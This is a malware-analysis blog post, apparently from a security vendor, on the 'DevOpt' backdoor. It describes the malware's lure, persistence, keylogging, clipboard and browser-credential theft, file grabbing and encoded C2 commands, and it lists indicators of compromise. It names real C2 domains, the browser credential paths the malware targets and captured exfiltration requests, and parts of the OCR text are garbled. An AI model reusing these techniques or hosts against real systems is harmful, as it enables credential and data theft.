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Summary

In recent years, malware attacks have become increasingly sophisticated, and attackers are
always finding new ways to exploit vulnerabilities and steal sensitive data. To stay ahead of
these threats, security researchers must constantly monitor the landscape and identify new
threats as they emerge. In this article, we'll take a closer look at the findings of a recent
study conducted by Zscaler's ThreatLabz team, which uncovered a new backdoor built
using Free Pascal that has the ability to steal data from infected systems. We'll explore the
techniques used by this malware, as well as the tactics employed by cybercriminals to
entice users into downloading malicious payloads. By understanding these threats, we can
take steps to protect ourselves and our systems from the dangers of malware attacks.

Introduction

Zscaler ThreatLabz has recently unearthed a new backdoor called ‘Devopt'. It utilizes hard-
coded names for persistence and offers several functionalities, including keylogging,
stealing browser credentials, clipper, and more. Multiple versions of the backdoor have
surfaced in just the last few days, indicating that it is still in development. In this blog post,
we will delve into the specifics of this new backdoor and its workings. Additionally, we will
offer tips on how to safeguard yourself against such attacks.

Key Takeaways:

e Zscaler ThreatLabz uncovered a new backdoor and named it DevOpt based on the
name of the persistence malware

e Discovered on a Russian website promising monetary rewards, victims are lured into
downloading malicious payloads containing DevOpt malware

o The malware is currently still in development and is receiving continous improvement
updates designed to make it a more potent and effective tool for attackers and threat
for defenders

» DevOpt has advanced capabilities to function as a keylogger, stealer, grabber, and a
clipper along with persistence mechanisms.

Campaign:
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While on the hunt for new malware, the ThreatLabz research team at Zscaler came across
a newly discovered backdoor that was created using Free Pascal. This backdoor is
particularly dangerous as it has the ability to steal data from infected systems.

Zscaler's ThreatLabz research team remains vigilant in tracking new malware threats.
During a recent investigation, we discovered a backdoor that uses Free Pascal and is
capable of stealing data from infected systems. Additionally, we came across a Russian
website where users were offered financial rewards for completing a task that unwittingly
involved downloading malware. Further analysis revealed that the downloaded malware
had an archive icon, giving the impression of a compressed file and luring users into
double-clicking it, which then executed the malware. This discovery underscores the
lengths to which cybercriminals will go to lure users into downloading malicious payloads,
using tactics such as offering financial incentives. It's worth noting that the malware's
downloading URL pattern generally follows this structure: wdfiles-
download|.]siteme[.]Jorg/arxiv[digit].exe.

GCood afternoon.

The essence of the task is to download the archive, unpack it, and enter the control word from the
file contained in the unpacked directory.

How to do it:

1.Follow the link to the task and download the file (~20 Mb)

2.Run the arxivs file for self-extraction - the ud_N22-0190 folder will be created (by default, in the
folder where the archive itself is located)

3.After unpacking is completed, in the ud_N22 felder -0190 you will see the file index.txt - open it,
there is a control word of five digits

4. Submit these five digits to the report without any spaces, hyphens, etc.

ps For those who have already done similar tasks, this is a different archive and ANOTHER control
word, i.e. need to download again.

Link to complete this task: h
| Five-digit control word, contained in the index.txt file in the ud_N22-0190 folder

Fig 1. - Russian Website(Translated to english) enticing users into downloading malicious
payloads.

Technical Analysis:

Two versions of the backdoor have been discovered in the development stage. The first
version, which lacks obfuscation to hide its strings, is roughly 20 MB in size and contains a
Graphic User Interface not found in the newer variant, which is approximately 2 MB in size.
The second version uses encoded integer-based strings for its functionality.

The older version uses plain text HTTP protocol, while the newer variant searches for
OpenSSH DLLs in the infected system to establish encrypted HTTPS connections to its
command and control. To establish network connections, the backdoor requires several
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DLLs: libcrypto-1_1.dll, libeay32.dll, libssl-1_1.dll, libssl32.dll, and ssleay32.dIl. If the
malware is unable to locate these DLLs, it becomes inactive and will not infect the system

further.
Encoded String Decoded Strings Description
5494-4756-7544- C:\\Users\\ String to
6970-9430-8282- access
9348-9430-7544 infected
system Users
Directory
7544-5576-8282- \\Desktop\\ String to
9430-8774-9512- access
9102-9184-7544 infected
system
Desktop
Directory
7544-5576-9102- \\Documents\\ String to
8118-9594-8938- access
8282-9020-9512- infected
9430-7544 system
Documents
Directory
7544-5576-9102- \\Downloads\\ String to
9758-9020-8856- access
9102-7954-8200- Infected
9430-7544 system
Downloads
Directory

8200-8282-9676-
9102-9184-9512-
3444-3772-8282-
9840-8282

devopt*.exe

Create a copy
of itself in the
Startup folder
with
devopt(random
2 digit).exe
name.
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7544-7134-8610-
9020-8774-8282-
9922-6068-8282-
9512-3772-8610-
9020-8610

\\WinkeydJet.ini

Create
configuration
file with
WinkeydJet.ini
name.

8528-9512-9512-
9184-9430-4756-
3854-3854-8938-
9676-8200-3690-
8774-3690-9512-
9594-8856-7954-
3772-9430-8610-
9512-8282-8938-
8282-3772-9102-
9348-8446-3854

https[:]//mvd-k-tula[.]siteme[.]Jorg/

Command and
Control
domain.

7544-5330-9184-
9184-5576-7954-
9512-7954-7544-
6724-9102-7954-
8938-8610-9020-
8446-7544-6314-
8610-8118-9348-
9102-9430-9102-
8364-9512-7544-
7134-8610-9020-
8200-9102-9758-
9430-7544-6806-
9512-7954-9348-
9512-2624-6314-
8282-9020-9594-
7544-6560-9348-
9102-8446-9348-
7954-8938-9430-
7544-6806-9512-
7954-9348-9512-
9594-9184-7544

\\AppData\\Roaming\\Microsoft\Windows\\Start
Menu\\Programs\\Startup\\

Startup
directory path.
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6314-9102-10004- Mozilla/5.0 (Windows NT 6.2; rv:104.0) User Agent

8610-8856-8856- Gecko/20100101 Firefox/104.0 used for
7954-3854-4346- network
3772-3936-2624- requests.

3280-7134-8610-
9020-8200-9102-
9758-9430-2624-
6396-6888-2624-
4428-3772-4100-
4838-2624-9348-
9676-4756-4018-
3936-4264-3772-
3936-3362-2624-
5822-8282-8118-
8774-9102-3854-
4100-3936-4018-
3936-3936-4018-
3936-4018-2624-
5740-8610-9348-
8282-8364-9102-
9840-3854-4018-
3936-4264-3772-3936

8856-8610-9430- listener.php Send collected
9512-8282-9020- data as
8282-9348-3772- listener.php

9184-8528-9184

The earlier version of the backdoor required user interaction by clicking on the Extract
button, whereas newer versions run silently in the background without any need for user
interaction.

Extracting archive (path):

Fig 2. - Earlier version of malware requiring user interaction

Based on the aforementioned observation, it can be concluded that the Threat Actor is
adding more features to the backdoor and making it stealthier.

Additional Analysis:

After analyzing the malware, our observations revealed that it contains numerous
capabilities. The following functionalities were observed:
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Persistence:

Persistence refers to a malware's capability to remain active on a system even after a
reboot or shutdown. This can be achieved by adding entries to the Windows Registry or by
creating scheduled tasks. Once a malware establishes persistence, it can continue to
operate in the background and carry out malicious activities undetected by the user.

Upon closer observation, researchers noticed that the malware replicated itself in the
Startup folder, enabling it to initiate automatically whenever the computer is powered on.
Further observations of different versions revealed that it duplicates itself with a name
devopt[random 2 digits].exe under the following path:
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.

s CreateFile C:‘LUsers_\AppData\Roaming\Microsoﬂ\Windows\Stan Menu\ProgramsiStartup\devopts9.exe SUCCESS
= WriteFile C\Users\ I --pData\Roaming\MicrosofWindows\Start Menu\Programs\Startup\devopts9.exe SUCCESS

Fig 3. - Persistence mechanism

Clipper:

A clipper malware is created to pilfer confidential data from victims. Once it is installed on a
victim's device, it can record the clipboard data, which can potentially be used to steal other
sensitive information like login credentials, credit card numbers, or other financial data.

Researchers noticed that the malware generates a file called 'clippa.dan' in the C:\User\
[User] directory, which logs all the information copied to the clipboard.

[H clippa.dan E3 l

[Data]
2 explorer.exe=[5PACE]
3 Procmonéd.exe=[SPRCE]C:\Users\User\AppData‘\Roaming\Microsoft\Windows\5tart Menu\Programs\Startup\devopt59.exe [SPACE]

Fig 4. - Clipper logging data from the system

Stealer:

A stealer malware is created to pilfer sensitive information, such as login credentials, credit
card details, and other personal data. Once it is installed on a victim's device, it can monitor
the user's activity and steal sensitive information.

The malware generates two files, namely 'cdck.bin' and 'bdck.bin,’ in the C:\User\[User]
directory, which steal the credentials, cookies, history, and version information of the two
specific browsers, respectively.

1. Chrome browser data collected from infected system:

o [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies]
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e [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\History]
o [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Login Data]
o [C:\Users\User\AppData\Local\Google\Chrome\User Data\Last Version]

2. Yandex data collected from infected system:

o [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User
Data\Default\Network\Cookies]

e [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User
Data\Default\Network\History]

o [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Ya
Passman Data]

o [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Ya Autofill
Data]

Keylogger:

Keylogger malware is specifically designed to capture every keystroke made by a user on
their device. This can be used to steal sensitive information like login credentials, credit
card details, and other personal data.

In this case, the malware creates a file named ‘Kebba.dan’ in the C:\User\[User] directory
to log the keystrokes of the user.

[ kebbaden 3 |
1 [Data]
2 wordpad.exe=[SPACE DELAY 9s]this[SPACE]is[SPACE]ta[SPACE]testing[SPACE] [SPACE]to[SPACE]check[SPACE]whether [SPACE]malware
3 explorer.exe=[SPACE_DELAY 556s]gagsa[SPACE_DELAY 1s]asdsd[ENTER] [SPACE_DELAY_ 4s] [ENTER]

Fig 5. - Keylogger logging keystrokes

Grabber:
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s+ QueryDirectory
» QueryDirectory
s+ QueryDirectory
v+ QueryDirectory
s+ QueryDirectory
» QueryDirectory
r» QueryDirectory
v QueryDirectory
#» QueryDirectory
» QueryDirectory
r» QueryDirectory
e+ QueryDirectory
v+ QueryDirectory
r» QueryDirectory
r» QueryDirectory
r» QueryDirectory
r» QueryDirectory

C\Users\INEEE D <skiop\" doc
CA\Users\IIIIE D <= sktop\" docx
C\Users I D < sktop\* rif
C:HUserﬂ_DesktDpl'.xls
C\Users\INIEEE D<sktop\* xlsx
C\Users\IIIE D o cuments|” bt
C:\Users\INIEEN D ocuments\* doc
CAUsers\INEEE D ocuments\".docx
C\Users\IIIIEE O ccuments\* rif
C\Users\I D o cuments\” xls
C\Users\|S O o cuments\” xlsx
CA\Users\IHIIE L ownloads\" txt
C:\Users\IIII D ownloads\* doc
C:\Users\ NI D ownloads\".docx
C\Users\INII D ownloads\* rif
C\Users\IlIH D cwnloads\" xis
C:\Users\IINIEE D ownloads\* xlsx

Fig 6. - Grabber enumerating the Directories for stealing file contents

Grabber malware is created to illicitly obtain files and other data from an infected device. It
targets text, Word, Excel, and RTF files stored in the Document, Download, or Desktop
directories, and saves the stolen data in a file named “grb.bin” located at C:\User\[User]
directory.

Emrb)bmﬁil

1 [C:\Users\User\Desktop\0.txt]
2 yAIQBRXQQCEnriT4XgntNOwtzoVP5k6EZmPXMIRRY tNNswMGE8 IDASXWLw /ptgbMJIsdz92kCOBACnWIGrmCrTH74YFEFadm8KjBmkz3rDZX7EcD:

4 [C:\Users\User\Desktop\test.txt]
5 This is a text document to check whether grabber is logging files in Desktop directory.

7 [C:\Users\User\Documents\test3.txt]
8 This is a text document to check whether grabber is logging files in Documents directory.

10 [C:\Users\User\Downloads\test2.txt]
11 This is a text document to check whether grabber is logging files in Downloads directory.

Fig 7. - Grabber File contents stealing data

Dropped text file

In previous versions of this backdoor, researchers observed that it drops a file called
‘unpacked.dt’ in the ‘data’ folder of the current directory. This file is likely designed to
confuse malware analysts because it appears to be an encoded malicious payload, but in
reality, it contains randomly generated alphanumeric strings. In newer versions of the
backdoor, a similar file named ‘0.txt’ is dropped in the current directory, which contains
random strings that are hardcoded into the malware itself.
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i o R ERNT S6c. 4207 AD TANDSTR N N ~ Wide FPU
[call  MW_SETUP | Function to create Capy of itself in starlup folder : e e oo T, B
imov eax, eby C8 Se8FrOFF & abé. 403600 = “reTqlrjuolvave Spugef
call  M_INIREAD] Function to create Winkeylet.ini file 3 push ( i Eox
mov  eax, ds:U_SUNIT1_$$_FORM1 Qégé"géﬁ.‘fgﬁm Tﬁ: eax. EWE o EE%
imov eax, [eax+498h] e ea_cdx,dword pee Prrasl
lea edx, [ebptvar_8] ESTEP 000 . et ESr O0Sp%94  abe.00584994
a1l CONTROLSS_STCONTROL_$_$3_GETTEXTSSTTRANSLATESTRING| i . 89 Sc445900 EIP  O042CAl  abe.OG4ZACAL
mov  eax, [ebp+var_8] ~ : fry T s cosanion
call  SYSTEM_S§_MKDIRSRAWBYTESTRING _— . a5 Ec 0 PE O AF O
lcall  FPC_IOCHECK — . 804D F4 & E 3RS
- . DA M32s 2wl gs 2K( F
lea ecx, [ebp+var_10] — . €8 ECFSFFEE
astError 0000000 success

mov  d1, 7 = wayH LSS 20300058 EETATIaTOREE e
imov eax, 100000h . c

ction Lo generate alphanumeric . Fo r SVPTMI2SZWll | € >
[call _ mu_ranosTr}- Random \,”’I‘w F 8 1CBFFOEF e e 40500 . =
mov ebx, [ebp+var_1g] ONCOTISHINES 0 5 Defauk (stocall) s 5 [ uniodked
lea eax, [ebp+HOSTNAME] oo — ; F”ﬂ g?;ugl? abc. 00414540
call FPC_ANSISTR_DECR_REF dword ptr ss:[ebp-C1=[026DFI68 &”HAD WRITTEN\A"]=DOSSHISC "HAD WRITTEN\A" 3 [eapec] 0042ABAD abc.004248A0
push e 4: [espel0] 00SCOA4C abc.00SCOHAC
mov eax, ds:U_SUNIT1_$$_FORML Ltext:O042ACA abe.exe: S2ACAL #2ADA 5: [cjn»lﬂ] 02894604 “data”
imov eax, [eax+498h] Grtoeaca
lea edx, [ebp+var_15] Wowmpl ooz @oupd  Eompd  @omps B vt fejaks ) sma 00414840 | abc. 00414840
call  CONTROLSS_STCONTROL_S__$$_GETTEXTSSTTRANSLATESTRING] Address | vex ASCIT O042a8AD | abc. 00422840
imov. edx, [ebptvar_18] Gransc (I ST gl A e A [ A A s || 005c0a4c | abe. o0scossc
mov  ecx, offset aUnpackeddt ; “\\unpacked.dt H s TETYisozramii 02894604 | “data” .

P - 4 6ol ATET -°‘ v 6 0288A8CC | "data\\unpacked. dt

lea eax, [ebp+HOSTNAME] Lg:2 6o | Goseance] unpacked. d .
call  fpc_ansistr_concat =3 0059415C | abe. 0053415
imov. eax, dword ptr [ebp+HOSTNAME] nERHE 55 35 52 70| cBrcud0a7 hkeSay CIES
lea s febpever €] e i 4 6l 08 1 1 ottt

_ 4 ralhkaro? iotBy MIC364 From ab
mov edx, ebx oo | 68 38 41 o8] 36 69 33 65| 35 o9 ab 51]7a 11 50 76 ‘Amsbyseserivity FoEe | | F 0 il EES) o &
icall MW_PUTFILE
(1::1 i;:'m[';gg;;a;ég - Dropped unpacked.dt file in data folder !
lea eax, [ebptvar_18] :
call  FPC_ANSISTR_DECR_REF |5 unpacked at B3
::3" En ds:U_SUNITL $8_FORML reTqIRIHOLVITT3pUgtiqzaze0xr XeFbeTETY1 502  dni yvbsVETHI 25T 1Lga 2K00UZ] KR IV R OF 8BAAFNWFQp r tNTNLTCEmCHA0Q7 1hKe5RyOnK bgie] LKaLbRAOFKrQIhkaR6 110EBVI BANGL
Imov cax, [eaxraoh] ~ 3el]ei1yllvd¥45”PHEBZkzaZJmeZ6aNTlbvuJQH“qu(xtokom’ll’vmlﬁejxlualmlzﬂmskquPONYNgJ“Df1BQHtlLaIeT7U1kBFahexen_\ILUAW}\nputhSequd.NJGmUCJaesoat?lu"[tnc
hea edx, [ebptvar_15] JbaEx1n2x21zBvalznLpdbonORDELZEADTA 6ijbhFxt0TxNshCNKBsViXhRQtaY8FVchuwROgg]HswhzdGi PGHEI LH TUMrtpeCHE 262D HTiwloXR
lcall (ON%RDLSE $T[ENTROL $_ $%_GETTEXTSSTTRANSLATESTRING| iw057IMNE8TkuNae637JkEcnnp2M0ODaQCIaf1kr 6LNATGATXS0TbmNP4yVe 2Ry YCHCN] x1GSKOZoLC8X 3R] ScIFFkeHdaoBOf 7saDa5Y ihRi LKNON 9ue 7Tk TAnmVUAQNn 75ct CEcOx zbpS3ejaatmé
Imov edx, [ebprvar 18] 8301TyT90PPoRMO23 TS Ydmi q9PExNiHAser 1K5CORK54KC Kixk1oXuT6FT1Z0GxbdDb: y¥qIC1184 EulpNhomt aky TpOM3vQq7INVaRa 1 fBrJFqLraYXhyQVBE
Imov ecx, offset aIndexTxt ; "\\index.txt" E1G1H0vpW1zvvGDTkbzVkTn 6CKqHI{RYC0a20tHKF L1 TomCY £KNES0X 6FMKDE XYRKFTuDi EmOugytVg| qDAVBodgo3drS aLXOcrF1ihfRm000Ag 40763
Hea eax, [ebptvar_10] W41 QJhkIcKDVULPL3gpnM L wzeTPT2Ar ) VI T2 [iNEUUCK viMAvCOE3Lp0UT204LaSZTaABlci SUR] 2 TB62Bg6ER X LAQU2VAR FQAYT6vECTugmy TKBWEDy 3t 1EVOEi cOoLYTox YuuD
lcall fpc_ansistr_concat ydVEbyValadzevZesZTr]9ICUANLCLKM3tOrbnBdinrdKCSSVPEEMO6L I IMOBIGT 996wk 7y0aml P5aLbgECqON1KeG1BwIEnd tWWUOLh 1JbR15JDV5zeS 2SRz SLLSRimKWL 510X 7DmS12DrBlatk
imov eax, [ebp+var_10] Apgi6nxiR8iFv03RVKZIDVD3CK2VI 6xt2F1T3p2 1oSH] F3TIWT0SGIMSTYQLE] £02221KT1zn 1AW2ghQT TucGCDF0DVi rTQTLGEHTV] £XnZ0PoR s 1bzoPNlwyFQeSwL.a8 Y 2qrP1 EETEFH3RA020V
lea acx, [ebp+HOSTNANE] G232 PUVKUNGHNCHNGESXS KK 3LDS0L £§62160NSEZUP4GI41J4vayKTX2hhsr 1nTmi uGhKHEBoQQAQNyoWL] YO 4P fkTaXt VR FHuN LxzNXnurya5036p7rDIZqHONS 1 3Zq5KXh3hoLq0SI0Yu
Imov edx, offset adddgl ; "44891" BSDKKU12JEsv1VddtIETSQELREBi2A pwyxiAYyzYSHESZKyarMIMuRSOFQrtMMGNZUYnE e] ECk394gC] AP Cubab921 01 SHARERIRUKWxrdwE r2eSBSRDEVAG QI A0
lcall  MW_PUTFILE KQrE1Lc28gh6VHK3Itvndr V2PN MppI tubL 1 9ONEVX QD21 nKOPtboFVmdZ 4aNTvES JRTWmKN 91291 PXPwUGHYytVIPGDPThd i e5ahfenk 126
lea eax, [ebp+HOSTNAME] su]fN’V‘l‘NYzl/'lhmﬂhfﬁXval;gAquZr\luTAuPKEslEEGUX)(?DdJSt[‘hs[Efﬂ(mvlelqdlQ\_HDTPuﬂHkCDEJBHEwlDENRBI 1r5dSCH | 1Hr ££JERY 910LVNpLLusIoGlpgu
lcall  FPC_ANSISTR_DECR_REF 7al775VI1EENSOVQSv2y4 ovoGLICgyoBBDREr 4hANUHQCWX SAGhING3 2wel TYpvWHVR ] bgS §0GEP3HT£ISZHFEUVoBTDxclvY FNMhZVIT2eEh: pVJabyl
Lea eax, [ebp+HOSTNAME] Fj6w50qkDSo29BuwsVEB1St 326417ns34ZHVCo1 kK9u0Pql 8bFhdRL] Je 4w0LOHCOOF1106uToEHSWTiaRy D5 OXI2CU1WYPmol3L1HiyUSWV25v29
push  eax HOSTNAME EazSsPMMAgo0z]1 3v0BECKIe JESnxUgAn 66c58PIThrgNrS5915 Y 3NVRYRT: 132 0iKCH raszcnbuhhkar tWHOBJLa9bzEvOgWACFo0decS ANRVS
[mov eax, ds:SERVER_ADDR 55uMhg9qQEFaYaxTJ7E] c5KPbbIEKILUSSR] aEVI£qTcfkATaazLoqFTcCSLmH 0oKeGHbamY 156012 3wd TMkuY5COBwacy 490661 51 5D25Bt0gnKJhdaMyE W
:": ’;: E;; & acreate 3 “creste® ThELSAGKOGL4]] U020t reQzwKJghc TiRC2KubAW0CGLCEKgpNXMHOrRnRnAe YLRRLuCm] LVTALVh11TTyrBTFI6r FFryc-uara]rhuqumrn?sm.rnnm‘
TolL M URLPROG e s crese oKGVQ9315g13Ge 10GRC6ryNOGITISGLE cCLSnkvi Aii i SpbT5 1 xGyymT5U2k32exnBup 9gS Y 2gaMEHT Y1 DIuF 2c £QRA tgD Tk 0p04s DBu2AvVGR2E TYBL3 TRDP3e 6oeySCEU2yBEY2tAS jRL
Tea eax, [ebpsHOSTNAME] PPhESUCTFL901m1C8SQKCT YwrMUqOFE IbhN1 QM1 SLSEVCYVXFAOYWgqyE 31 qEbBWKPIb] SYxvODAAVOyYsTkauhshONEJ2HQ2aCe TESNGT 1215 THvid ] C48HKBRqvA0LNZ 1hz 1 2 TX5TBSHDwWSL

Fig 8. - Generating random alphanumeric strings for unpacked.dt file

Configuration File:

The researchers noted the presence of a configuration file named "Winkeyjet.ini" that was
dropped in the Users directory. This file contains information about the compromised
system, such as the name of the operating system, a unique Device_ID, and the version
number (Version) that represents the major version information of the compromised
system. Additionally, the file includes the malware's hardcoded own version (OwnVer). The
configuration file also specifies the Command and Control (CnC) server, which is

responsible for providing instructions to the malware once it has been successfully installed.

[Windows]

pevice 1p=oz| N

Version=10.0
OwnVer=4.0

[Server]
Address=https://mvd-k-tula.siteme.orq/

Fig 9. - Configuration file generated recording the device and version information

Additional investigation has uncovered that certain malwares that are still in the early stages

of development are displaying a message box that contains the text "putin Xyilo", which is
a slogan that ridicules Russian President Vladimir Putin.
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Fig 10. - Msgbox displayed in underdeveloped versions of malware

Network Communication:

Establishing a connection with the Command and Control (CnC) starts with the malware
sending a "create" request. Upon recognizing the request, the CnC responds with a "200
OK" message.

After establishing the connection, the malware sends a command request to the CnC,
which in turn responds with a SYNC command. Upon receiving the SYNC command, the
malware executes the given command and sends a "SYNCRONIZED" response back to the
CnC to indicate successful completion.

POST /listener.php HTTP/1.1 POST /listener.php HTTP/1.1

broste melletnila. ] Host: mvd-k-tula.ru

User-Agent: Mozilla/5.® (Windows NT 6.2; rv:184.0) Gecko/20100101 Firefox/104.¢| User-Agent: Mozilla/5.@ (Windows NT 6.2; rv:1e4.@) Gecko/20100101 Firefox/1@4.0
X T Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded Content-Length: 754

Content-Length: 47 Connection: close

Connection: close
deviceic-JNN 10 e6Eypedcomandipar anetr—

deviceid-JN 1°.0&Etyped=creatddparametr=HTTP/1.1 200 OK o HIEEAC ER22Ch0R e

Date: Sat, 11 Mar 2023 23:57:37 GMT ZZSQ:EE,’J;LMHP 2B BB Sl
Server: Apache X-Powered-By: PHP/7.2.34

X-Powered-By: PHP/7.2.34 Strict-Transport-Security: max-age=31536000
Strict-Transport-Security: max-age=31536000 Connection: close

Content-Length: @ Transfer-Enceding: chunked

Connection: close Content-Type: text/html; charset=UTF-8

Content-Type: text/html; charset=UTF-8 Step 1. Initial Connection [svic] Step 2. Command Request

POST /listener.php HTTP/1.1

Host: mvd-k-tula.ru

User-Agent: Mozilla/5.@ (Windows NT 6.2; rv:104.9) Gecko/201001@1 Firefox/104.0

ContenE—Type: applicatic:/x—www—w‘orm—urlencuded ) POST /listener.php HTTP/1.1 Step 3. Command Respanse

Content-Length: 724 Host: mvd-k-tula.ru

Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:104.0) Gecko/20
Content-Type: application/x-www-form-urlencoded

device id=N_10.0&typed=commandgparanetr=DIR] Content-Length: 60

S I De =5 o Connection: close

. size:0

.. size:0

@10Editor.1nk size:1025 Ml@.a&typed=c0mmand&par‘ametr‘:lSYNCRONIZEa

Cerpro.lnk size:1161

CFF Explorer.lnk size:791 Step 4. Further Commands

Fig 11. - Network communication steps

Commands:

Below are the encoded string commands used by the observed malware:

Encoded Decoded Description
String Strings
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6806- SYNC Command to check connection between CnC and Malware. We

7298- observed in some variants malware send the ‘SYNCRONIZED’
6396- response along with the version of the malware.

5494

5576- DIR Command to collect file information of the given directory. It can
5986- collect file name, directory name, size and modified date.

6724

6560- PUT Command to write collected information in file. It will give the
6970- response ‘HAD WRITTEN’ if the file is already present else ‘NOT
6888 WRITTEN'.

6724- READ Command to read collected information from stored files and
5658- send data to CnC.

5330-

5576

5658- EXEC To execute commands sent from CnC and after successful
7216- execution it sends ‘EXECUTED’ response.

5658-

5494

5576- DRLS Command to collect Drive information (HDD, CDROM,

6724- RAMDISK, Network and Removable) of the infected system.
6232-

6806

6560- PRLS Command to collect the Process list of infected systems.
6724-

6232-

6806

The previous version of the malware did not include the DRLS and PRLS commands for
gathering drive and process information, respectively.

Conclusion

Based on the observations made during the malware analysis, it is evident that the malware
in question is a sophisticated and multifunctional threat. The malware is capable of
performing various malicious activities such as stealing confidential information, logging
keystrokes, stealing files, and establishing persistent access to the victim's system.
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It is also evident that the threat actor behind the malware is continuously improving the
malware by adding new features, making it stealthier, and using various techniques to
evade detection. The malware uses encoded strings for its commands and drops files with
misleading names to deceive malware analysts.

Furthermore, the malware communicates with a Command and Control server to receive
instructions and send stolen data. The server's |IP address and other details are hardcoded
into the malware.

Overall, the findings highlight the need for robust security measures to protect against
advanced and evolving malware threats. It also emphasizes the importance of regular
updates and security patches to mitigate the risks associated with these threats.

As cyber threats continue to evolve and become increasingly complex, it is critical to remain
alert and take proactive measures to protect against them. The discovery of this new
backdoor is a testament to the ever-changing tactics of attackers and underscores the
importance of ongoing monitoring and research. Zscaler's ThreatLabz team is dedicated to
staying on top of these threats and sharing their findings with the wider community. It is
essential to stay informed and take necessary precautions to safeguard against malware
attacks. Remember to keep your software up-to-date, use strong passwords, and be wary
of suspicious emails or messages.

Zscaler Sandbox Coverage

Zscaler's multilayered cloud security platform detects indicators, as shown below:
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f;zscaler Cloud Sandbox

SANDBOX DETAIL REPORT

Report ID (MD5): DB14D40D780853F80BS3E21E92617680

CLASSIFICATION

Class Type
Malicious
Category
Malware & Botnet

SECURITY BYPASS

No suspicious activity detected

SPREADING

No suspicious activity detected

PERSISTENCE

* Drops PE Files To The Startup Folder
Drops PE Files

PE File Contains Sections With Non-Standard Names

Creates A Start Menu Entry
Stores Files To The Windows Startup Directory

#HignRisk o Moderate Risk  © Low Risk
Analysis Performed: 4/6/2023 11:37:06 AM
MITRE ATT&CK 2 VIRUS AND MALWARE
Threat Score This report contains 8 ATTRCK techniques mapped to § tactics

100

No known Malware found
g

NETWORKING i STEALTH

* Snort IDS Alert For Network Traffic
Uses A Known Web Browser User Agent For HTTP Communication
RLs Found In M y C ata . .
URLs Found In Memory Or Binary Data No suspicious activity detected
Posts Data To Web Server
Performs DNS Lookups

INFORMATION LEAKAGE EXPLOITING

® Known MDS

No suspicious activity detected

SYSTEM SUMMARY b DOWNLOAD SUMMARY
« Dynamic Yara Hits 4 Original file
« PE File Contains More Sections Than Normal Dropped files

Sample Reads Its Own File Content Packet capture

Submission File Is Bigger Than Most Known Malware Samples
Uses 32bit PE Files
PE File Has An Executable Text Section And No Other Executable Section

Reads Software Policies e

Fig 12. - DevOpt Backdoor Zscaler sandbox report

[CJ

a

File Type: exe
18 MB
25MB
6 MB

The following threat names are detected by Zscaler's multilayered cloud security platform
for identifying malicious payloads:

Win32.Backdoor.DevOpt

MITRE ATT&CK Techniques:

Tactic

Technique ID Technique Name

Execution

T1129 Shared Modules

Defense Evasion

T1027 Obfuscated Files or Information

Persistence

11037.005

Startup Items
T1547.001

Registry Run Keys / Startup Folder
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https://threatlibrary.zscaler.com/threats/d5c55da2-655c-47fb-a021-a4c70b14779b
https://attack.mitre.org/techniques/T1129/
https://attack.mitre.org/techniques/T1027
https://attack.mitre.org/techniques/T1037/005/
https://attack.mitre.org/techniques/T1547/001/

Discovery T1057 Process Discovery
11082 System Information Discovery
T1083 File and Directory Discovery
Collection T1005
Data from Local System
T1115
Clipboard Data
Credential Access T1003 OS Credential Dumping
T1555.003 Credentials from Web Browsers
T1539 Steal Web Session Cookie
T1056.001 Keylogging

Command and Control T1095

Non-Application Layer Protocol

Application Layer Protocol

Indicators of Compromise (I0OCs):

db14d40d780853f80b93e21e92617680
94df2e4aa0f432ef992893d7b994ce84

Old Variant

391¢894616dd0e8b372b801cbbc0a790
e42198e7c0647238b999a2b2133daac?2

New Variant

mvd-k-tula[.]siteme[.]Jorg

mvd-k-tula[.]ru

Command and Control Domain

wdfiles-download[.]siteme][.Jorg/arxiv5.exe

Malicious Source Url used for distribution
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https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1005/
https://attack.mitre.org/techniques/T1115/
https://attack.mitre.org/techniques/T1003/
https://attack.mitre.org/techniques/T1555/003/
https://attack.mitre.org/techniques/T1539/
https://attack.mitre.org/techniques/T1056/001/
https://attack.mitre.org/techniques/T1095/
https://attack.mitre.org/techniques/T1071/

